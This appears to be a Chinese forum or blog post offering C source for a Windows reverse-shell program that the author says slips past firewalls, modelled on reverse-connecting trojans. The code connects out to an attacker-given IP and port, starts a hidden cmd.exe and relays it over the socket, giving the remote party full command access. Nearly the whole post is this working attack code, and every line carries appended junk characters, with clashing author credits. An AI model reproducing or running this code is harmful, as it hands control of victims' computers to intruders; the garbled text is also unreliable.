这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 n~wNee
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/* ============================== 4XprVB
Rebound port in Windows NT F|seBBu
By wind,2006/7 &d8z`amP
===============================*/ =`oQcIkz
#include :le"FFfk
#include 2'8$I}h
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#pragma comment(lib,"wsock32.lib") 9u->.O: p
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void OutputShell(); ^z^ UFW
SOCKET sClient; :<}.3 Q?&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -}W`
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void main(int argc,char **argv) ji|`S\u#b
{ h{sY5d'D
WSADATA stWsaData; LE"t'R
int nRet; Y.<&phv
SOCKADDR_IN stSaiClient,stSaiServer; J3$Ce%<
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if(argc != 3) #Ang8O@y
{ Dn#GoDMJ[
printf("Useage:\n\rRebound DestIP DestPort\n"); Fk 5;
return; H3?HQ>&O7
} =R>%}5
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WSAStartup(MAKEWORD(2,2),&stWsaData); #{t?[JUn
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oo:(GfO}
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stSaiClient.sin_family = AF_INET; 8w[nY.#T
stSaiClient.sin_port = htons(0); _Q:739&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;8G( l
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #0+`dI_5/
{ PUdJ>U
printf("Bind Socket Failed!\n"); O;ty
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return; FZEK-]h.
} rX*ATN
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stSaiServer.sin_family = AF_INET; 2|1s !Q
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0> 6;,pd"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *$KUnd-T
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) v GF<
{ ~[mAv#d&i
printf("Connect Error!"); L-LN+6r(#
return; BE;J/
} Vo\RtM/6{
OutputShell(); p:hzLat~
} UI*^$7z1 +
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void OutputShell() 4RH'GnLa
{ eDm~B(G$
char szBuff[1024]; C(7Y5\"P
SECURITY_ATTRIBUTES stSecurityAttributes; f4s^$Q{Q
OSVERSIONINFO stOsversionInfo; G*;}6 bj|?
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; tv)U 7K0
STARTUPINFO stStartupInfo; xz+Y 1fYT
char *szShell; $=c79Al(
PROCESS_INFORMATION stProcessInformation; A-GRuC
unsigned long lBytesRead; NdS6j'%B@7
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )m-l&UK
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); JYbE(&l%de
stSecurityAttributes.lpSecurityDescriptor = 0; oH/4opV
stSecurityAttributes.bInheritHandle = TRUE; _/W[=c
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); sI
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); vu%:0p`K
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); pX:FXzYQ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fC_dSM[{c
stStartupInfo.wShowWindow = SW_HIDE; ;JcOm&d/hk
stStartupInfo.hStdInput = hReadPipe; 5ml^3,x
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x*~a{M,h
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GetVersionEx(&stOsversionInfo); gDw:Z/1X`
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switch(stOsversionInfo.dwPlatformId) 0,T'z,
{ |EJ&s393&
case 1: D<rO:Er?*a
szShell = "command.com"; VWlOMqL995
break; U8Pnt|0 M
default: H<M
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szShell = "cmd.exe"; <"uT=]wZ=
break; o@`&
h}
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} [mSK!Y@u
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FQR{w
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send(sClient,szMsg,77,0);
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while(1) ^N!l$&=
{ *-timVlaE
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 74 c1i
if(lBytesRead) D!.
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{ Ul?Ha{W
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); A2o;YyF
send(sClient,szBuff,lBytesRead,0); JM#jg-z,~
} d9XX^nY.
else =a`l1zn8=
{ g8yWFqE!T
lBytesRead=recv(sClient,szBuff,1024,0); `A.!<bO)]
if(lBytesRead<=0) break; !*:Zcg?7n
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); u"K-mr#$[o
} ~RVx~hh
} J?XEF@?'G
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return; `x"0
}